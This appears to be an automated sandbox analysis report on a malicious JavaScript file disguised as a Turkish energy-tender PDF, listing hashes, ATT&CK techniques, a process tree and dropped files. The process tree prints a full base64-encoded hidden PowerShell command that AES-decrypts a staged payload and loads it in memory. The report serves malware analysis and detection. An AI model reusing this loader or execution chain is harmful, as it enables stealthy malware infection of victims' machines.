34460518cc414551d4a9a996fc7bdbf0d19f1e137825f84534609b09b3c7ab89

Analysis

max time kernel
298s
max time network
299s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/08/2026, 15:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
TSM Enerji ihalesi NTF EMR-25-08-2026 PDF.js
Size 561KB
Sample260825-sr77ravbkd
SHA256 34460518cc414551d4a9a996fc7bdbf0d19f1e137825f84534609b09b3c7ab89
MD5 a95b70d672de8b01893a8f9cd1243864
SHA1 6944c8762e8ed708906ec3e2057352bdd0697d44
SHA512 133c20c855cdbf0008c560a80e52b89f563e7a3ae15afb4b9584ea67598cefa024e278df9f56e90696018491b6521e84c3497fc4f3525663925c709463da9181
SSDEEP 6144:pjU2kK0EFv/Ox2yyLzZEjMzpAR00hEYO2rVdIkgpPaxl4qJSX:tUHOFHOxAz2j7RPhEYBrVhgRaz4qJo
TLSH
T11FC4442167FE5119F2F3AF54AEF825A58D7EBEA26E36D05C1150024E0A72E80DDB0737
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 46 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5040	powershell.exe
8	5040	powershell.exe
9	5040	powershell.exe
10	5040	powershell.exe
12	5040	powershell.exe
13	5040	powershell.exe
14	5040	powershell.exe
15	5040	powershell.exe
16	5040	powershell.exe
17	5040	powershell.exe
18	5040	powershell.exe
19	5040	powershell.exe
20	5040	powershell.exe
21	5040	powershell.exe
22	5040	powershell.exe
23	5040	powershell.exe
24	5040	powershell.exe
25	5040	powershell.exe
26	5040	powershell.exe
27	5040	powershell.exe
28	5040	powershell.exe
29	5040	powershell.exe
30	5040	powershell.exe
31	5040	powershell.exe
32	5040	powershell.exe
33	5040	powershell.exe
34	5040	powershell.exe
35	5040	powershell.exe
36	5040	powershell.exe
38	5040	powershell.exe
39	5040	powershell.exe
40	5040	powershell.exe
41	5040	powershell.exe
42	5040	powershell.exe
43	5040	powershell.exe
44	5040	powershell.exe
45	5040	powershell.exe
46	5040	powershell.exe
47	5040	powershell.exe
48	5040	powershell.exe
49	5040	powershell.exe
50	5040	powershell.exe
51	5040	powershell.exe
52	5040	powershell.exe
53	5040	powershell.exe
54	5040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5040	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5040	powershell.exe
5040	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5040	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4900 wrote to memory of 5320	4900	wscript.exe	89
PID 5320 wrote to memory of 5040	5320	conhost.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\TSM Enerji ihalesi NTF EMR-25-08-2026 PDF.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:4900
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -EncodedCommand JABkAHIAYwBuAHQAZQA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA4ADAAMwA4ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABZAHUAcABUAEYAZAA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA4ADIANgAwACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABCAGIATwBDAEEATAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGQAcgBjAG4AdABlACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJABZAHUAcABUAEYAZAApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABkAHIAYwBuAHQAZQAsACQAWQB1AHAAVABGAGQAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAcwB3AHQAVQBIAFQAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQgBiAE8AQwBBAEwAKQA7ACQAZQBXAGcAUgBEAHAAPQAnAFMAeQBzAHQAZQBtAC4AUwAnACsAJwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkACcAOwAkAGEAaABsAFEAdQBLAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0AGkAdgAnACsAJwBhAHQAbwByACcAKQA7ACQAYQBoAGwAUQB1AEsAPQAkAGEAaABsAFEAdQBLADoAOgAoACcAQwByAGUAYQB0AGUAJwArACcASQBuAHMAJwArACcAdABhACcAKwAnAG4AYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAZQBXAGcAUgBEAHAAKQA7ACQAZgB2AHkAaQB4AG0APQAnAGcAaQB2AGgAQQBRACcAOwAkAG4AdQBsAGwAPQAkAGYAdgB5AGkAeABtAC4ATABlAG4AZwB0AGgAOwAkAGEAaABsAFEAdQBLAC4ATQBvAGQAZQA9ADEAOwAkAGkAYwBDAG0AawB6AD0AWwBNAGEAdABoAF0AOgA6AEYAbABvAG8AcgAoADUANQA2ADQALwAxADIAKQA7ACQAYQBoAGwAUQB1AEsALgBQAGEAZABkAGkAbgBnAD0AMgA7ACQAQwB4AHAAagB2AEQAPQBAACgAMQA3ADgALAA2ADgALAAyADAAMwApADsAJABuAHUAbABsAD0AJABDAHgAcABqAHYARAAuAEMAbwB1AG4AdAA7ACQAYQBoAGwAUQB1AEsALgBLAGUAeQA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEYANgAsADAAeAAwADgALAAwAHgAMQBFACwAMAB4AEUANAAsADAAeAA0ADcALAAwAHgARQA3ACwAMAB4ADAARgAsADAAeAA4ADYALAAwAHgAMABDACwAMAB4ADAAMgAsADAAeABDAEUALAAwAHgANABFACwAMAB4AEUAQQAsADAAeAA5ADUALAAwAHgAOAAzACwAMAB4AEQANAApADsAJABhAGgAbABRAHUASwAuAEkAVgA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADMAOAAsADAAeAA3ADEALAAwAHgAMgBDACwAMAB4AEYANQAsADAAeAAwADUALAAwAHgARQA5ACwAMAB4AEMAMAAsADAAeAA5AEIALAAwAHgAMABDACwAMAB4ADAAQQAsADAAeAA0ADIALAAwAHgAMAA0ACwAMAB4AEEAMQAsADAAeAA5ADIALAAwAHgAOQBDACwAMAB4AEMANAApADsAJABtAHgAawBLAHIARAA9ACcAQwByAGUAYQB0AGUARABlAGMAcgB5ACcAKwAnAHAAdAAnACsAJwBvAHIAJwA7ACQAVQB3AFUAdwBOAG4APQAkAGEAaABsAFEAdQBLAC4AJABtAHgAawBLAHIARAAoACkAOwAkAGIARQBOAG8AdABCAD0AJwBUAHIAYQAnACsAJwBuAHMAZgAnACsAJwBvAHIAbQBGAGkAbgBhAGwAQgBsACcAKwAnAG8AYwBrACcAOwAkAFIARQBQAGcAbABsAD0AJABVAHcAVQB3AE4AbgAuACQAYgBFAE4AbwB0AEIAKAAkAHMAdwB0AFUASABUACwAMAAsACQAcwB3AHQAVQBIAFQALgBMAGUAbgBnAHQAaAApADsAJABTAG0AWABZAEUAQQA9ADgAMgA4ADcAOwBpAGYAKAAkAFMAbQBYAFkARQBBACAALQBsAHQAIAAwACkAewAkAGsAZABRAEEAZQBOAD0AOAA2AH0AOwAkAHYARgBTAHUARgBEAD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAJwArACcAYQBtACcAOwAkAEoAZQBlAGMASwBGAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAdgBGAFMAdQBGAEQAKAAsACQAUgBFAFAAZwBsAGwAKQA7ACQAeABqAG8AVQBKAGkAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJAB2AEYAUwB1AEYARAA7ACQARwBJAEYARAB3AEEAPQAzADYANwA4ADEAOwAkAFAAWgBCAEwAQwBpAD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpACcAKwAnAHAAUwB0AHIAZQBhAG0AJwA7ACQAYQBGAG8AbQBNAHYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABQAFoAQgBMAEMAaQAoACQASgBlAGUAYwBLAEYALABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABCAEgAdgBLAEMAdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADQAMAA5ADYAOwB3AGgAaQBsAGUAKAAoACQAQQBDAGMASQBjAGMAPQAkAGEARgBvAG0ATQB2AC4AUgBlAGEAZAAoACQAQgBIAHYASwBDAHQALAAwACwAJABCAEgAdgBLAEMAdAAuAEwAZQBuAGcAdABoACkAKQAtAGcAdAAgADAAKQB7ACQAeABqAG8AVQBKAGkALgBXAHIAaQB0AGUAKAAkAEIASAB2AEsAQwB0ACwAMAAsACQAQQBDAGMASQBjAGMAKQB9ADsAJABLAGgAeQBwAEEAcgA9ADEAMAAyADcAOwAkAFIARQBQAGcAbABsAD0AJAB4AGoAbwBVAEoAaQAuAFQAbwBBAHIAcgBhAHkAKAApADsAJABSAFIARQBFAGUAVwA9ADcAMwAxADMAOwBpAGYAKAAkAFIAUgBFAEUAZQBXACAALQBsAHQAIAAwACkAewAkAG4AegB2AE0AUwBuAD0ANgA0AH0AOwAkAGEAVgBKAEsAdgB3AD0AWwB0AHkAcABlAF0AKAAnAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwAnACsAJwBzAGUAJwArACcAbQBiACcAKwAnAGwAeQAnACkAOwAkAFAAZgB5AGQAUABQAD0AJABhAFYASgBLAHYAdwA6ADoAKAAnAEwAbwAnACsAJwBhAGQAJwApACgAJABSAEUAUABnAGwAbAApADsAJABoAEcAcABFAHEATQA9ACcARQBuAHQAcgB5ACcAKwAnAFAAbwBpAG4AdAAnADsAJABDAE8AZwBsAFAATQA9ACQAUABmAHkAZABQAFAALgAkAGgARwBwAEUAcQBNADsAJABDAE8AZwBsAFAATQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAKAAsAFsAcwB0AHIAaQBuAGcAWwBdAF0AQAAoACkAKQApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -EncodedCommand JABkAHIAYwBuAHQAZQA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA4ADAAMwA4ACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABZAHUAcABUAEYAZAA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA4ADIANgAwACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABCAGIATwBDAEEATAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGQAcgBjAG4AdABlACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJABZAHUAcABUAEYAZAApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABkAHIAYwBuAHQAZQAsACQAWQB1AHAAVABGAGQAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAcwB3AHQAVQBIAFQAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQgBiAE8AQwBBAEwAKQA7ACQAZQBXAGcAUgBEAHAAPQAnAFMAeQBzAHQAZQBtAC4AUwAnACsAJwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkACcAOwAkAGEAaABsAFEAdQBLAD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0AGkAdgAnACsAJwBhAHQAbwByACcAKQA7ACQAYQBoAGwAUQB1AEsAPQAkAGEAaABsAFEAdQBLADoAOgAoACcAQwByAGUAYQB0AGUAJwArACcASQBuAHMAJwArACcAdABhACcAKwAnAG4AYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAZQBXAGcAUgBEAHAAKQA7ACQAZgB2AHkAaQB4AG0APQAnAGcAaQB2AGgAQQBRACcAOwAkAG4AdQBsAGwAPQAkAGYAdgB5AGkAeABtAC4ATABlAG4AZwB0AGgAOwAkAGEAaABsAFEAdQBLAC4ATQBvAGQAZQA9ADEAOwAkAGkAYwBDAG0AawB6AD0AWwBNAGEAdABoAF0AOgA6AEYAbABvAG8AcgAoADUANQA2ADQALwAxADIAKQA7ACQAYQBoAGwAUQB1AEsALgBQAGEAZABkAGkAbgBnAD0AMgA7ACQAQwB4AHAAagB2AEQAPQBAACgAMQA3ADgALAA2ADgALAAyADAAMwApADsAJABuAHUAbABsAD0AJABDAHgAcABqAHYARAAuAEMAbwB1AG4AdAA7ACQAYQBoAGwAUQB1AEsALgBLAGUAeQA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEYANgAsADAAeAAwADgALAAwAHgAMQBFACwAMAB4AEUANAAsADAAeAA0ADcALAAwAHgARQA3ACwAMAB4ADAARgAsADAAeAA4ADYALAAwAHgAMABDACwAMAB4ADAAMgAsADAAeABDAEUALAAwAHgANABFACwAMAB4AEUAQQAsADAAeAA5ADUALAAwAHgAOAAzACwAMAB4AEQANAApADsAJABhAGgAbABRAHUASwAuAEkAVgA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADMAOAAsADAAeAA3ADEALAAwAHgAMgBDACwAMAB4AEYANQAsADAAeAAwADUALAAwAHgARQA5ACwAMAB4AEMAMAAsADAAeAA5AEIALAAwAHgAMABDACwAMAB4ADAAQQAsADAAeAA0ADIALAAwAHgAMAA0ACwAMAB4AEEAMQAsADAAeAA5ADIALAAwAHgAOQBDACwAMAB4AEMANAApADsAJABtAHgAawBLAHIARAA9ACcAQwByAGUAYQB0AGUARABlAGMAcgB5ACcAKwAnAHAAdAAnACsAJwBvAHIAJwA7ACQAVQB3AFUAdwBOAG4APQAkAGEAaABsAFEAdQBLAC4AJABtAHgAawBLAHIARAAoACkAOwAkAGIARQBOAG8AdABCAD0AJwBUAHIAYQAnACsAJwBuAHMAZgAnACsAJwBvAHIAbQBGAGkAbgBhAGwAQgBsACcAKwAnAG8AYwBrACcAOwAkAFIARQBQAGcAbABsAD0AJABVAHcAVQB3AE4AbgAuACQAYgBFAE4AbwB0AEIAKAAkAHMAdwB0AFUASABUACwAMAAsACQAcwB3AHQAVQBIAFQALgBMAGUAbgBnAHQAaAApADsAJABTAG0AWABZAEUAQQA9ADgAMgA4ADcAOwBpAGYAKAAkAFMAbQBYAFkARQBBACAALQBsAHQAIAAwACkAewAkAGsAZABRAEEAZQBOAD0AOAA2AH0AOwAkAHYARgBTAHUARgBEAD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAJwArACcAYQBtACcAOwAkAEoAZQBlAGMASwBGAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAdgBGAFMAdQBGAEQAKAAsACQAUgBFAFAAZwBsAGwAKQA7ACQAeABqAG8AVQBKAGkAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJAB2AEYAUwB1AEYARAA7ACQARwBJAEYARAB3AEEAPQAzADYANwA4ADEAOwAkAFAAWgBCAEwAQwBpAD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpACcAKwAnAHAAUwB0AHIAZQBhAG0AJwA7ACQAYQBGAG8AbQBNAHYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABQAFoAQgBMAEMAaQAoACQASgBlAGUAYwBLAEYALABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABCAEgAdgBLAEMAdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADQAMAA5ADYAOwB3AGgAaQBsAGUAKAAoACQAQQBDAGMASQBjAGMAPQAkAGEARgBvAG0ATQB2AC4AUgBlAGEAZAAoACQAQgBIAHYASwBDAHQALAAwACwAJABCAEgAdgBLAEMAdAAuAEwAZQBuAGcAdABoACkAKQAtAGcAdAAgADAAKQB7ACQAeABqAG8AVQBKAGkALgBXAHIAaQB0AGUAKAAkAEIASAB2AEsAQwB0ACwAMAAsACQAQQBDAGMASQBjAGMAKQB9ADsAJABLAGgAeQBwAEEAcgA9ADEAMAAyADcAOwAkAFIARQBQAGcAbABsAD0AJAB4AGoAbwBVAEoAaQAuAFQAbwBBAHIAcgBhAHkAKAApADsAJABSAFIARQBFAGUAVwA9ADcAMwAxADMAOwBpAGYAKAAkAFIAUgBFAEUAZQBXACAALQBsAHQAIAAwACkAewAkAG4AegB2AE0AUwBuAD0ANgA0AH0AOwAkAGEAVgBKAEsAdgB3AD0AWwB0AHkAcABlAF0AKAAnAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwAnACsAJwBzAGUAJwArACcAbQBiACcAKwAnAGwAeQAnACkAOwAkAFAAZgB5AGQAUABQAD0AJABhAFYASgBLAHYAdwA6ADoAKAAnAEwAbwAnACsAJwBhAGQAJwApACgAJABSAEUAUABnAGwAbAApADsAJABoAEcAcABFAHEATQA9ACcARQBuAHQAcgB5ACcAKwAnAFAAbwBpAG4AdAAnADsAJABDAE8AZwBsAFAATQA9ACQAUABmAHkAZABQAFAALgAkAGgARwBwAEUAcQBNADsAJABDAE8AZwBsAFAATQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAKAAsAFsAcwB0AHIAaQBuAGcAWwBdAF0AQAAoACkAKQApAA==
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5040

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:2492

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1plamt8tdempa

Path C:\Users\Admin\AppData\Local\Temp\1plamt8tdemp\1plamt8tdempa
Size 66KB
SHA256 923816942aebbf1c65830a5eaa81dc42fe89d6930f068bb05b00ad0c9e17c510
MD5 37350eff8d60dba4d012ec4428bdfee1
SHA1 d44a13d0370027a22c8f065d22263be67d6ccaa3
SHA512 01e37f9702255be7211bd1418aa5891f6a7abfe37aa89576fd86dbacb59802adebfd1762120b0bdc19d6ddd0ef97d7d81d21187b2027de3ffcaf760d53ebc7fd
SSDEEP 1536:XUYJcK3idx7YvjDvBhXvwhbEhZfvE4amh:XUYJB38GvjTDwh6Zn1
TLSH
T1D8630206B76694ED0499282C226F44B8F7806E17C015510F9DD5AA0E17ED2F3EBF71EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1plamt8tdempb

Path C:\Users\Admin\AppData\Local\Temp\1plamt8tdemp\1plamt8tdempb
Size 66KB
SHA256 5fd738e386e106b798cdb97d70b13d2051dd59d208baa084517a657f839b7aa5
MD5 c5ebc642cbd2be28300c06c5a1e09a5d
SHA1 540959114fffd201e9d44b9d3408439740793a9d
SHA512 6818e2dc877e7d157ec61284834ea2736b29df4d18654df9fdd65880c13cf23b7d695352141ebdb86a56a5e9cdea75f3bb7ef2d7dbc58df518627545bc8bf276
SSDEEP 1536:l46GxWDsWMXXS9yNZWYfL/8e96gPEN+qGDnPHEkxS:lOWDpMy9yNZWREqGDnPJxS
TLSH
T12A6302D9335D6C8A9F987A0CA4F8997C42F5893719333BE0BB56E193311C3967A5AC02
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5040-16-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-17-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-7-0x000001F274780000-0x000001F2747A2000-memory.dmp

Download

memory/5040-9-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-10-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-11-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-12-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-13-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-2-0x00007FF8EA99F000-0x00007FF8EA9A0000-memory.dmp

Download

memory/5040-8-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-4-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-18-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-20-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-19-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-3-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-23-0x000001F2747B0000-0x000001F2747C2000-memory.dmp

Download

memory/5040-22-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-21-0x000001F2748E0000-0x000001F274930000-memory.dmp

Download

memory/5040-25-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download

memory/5040-26-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

Download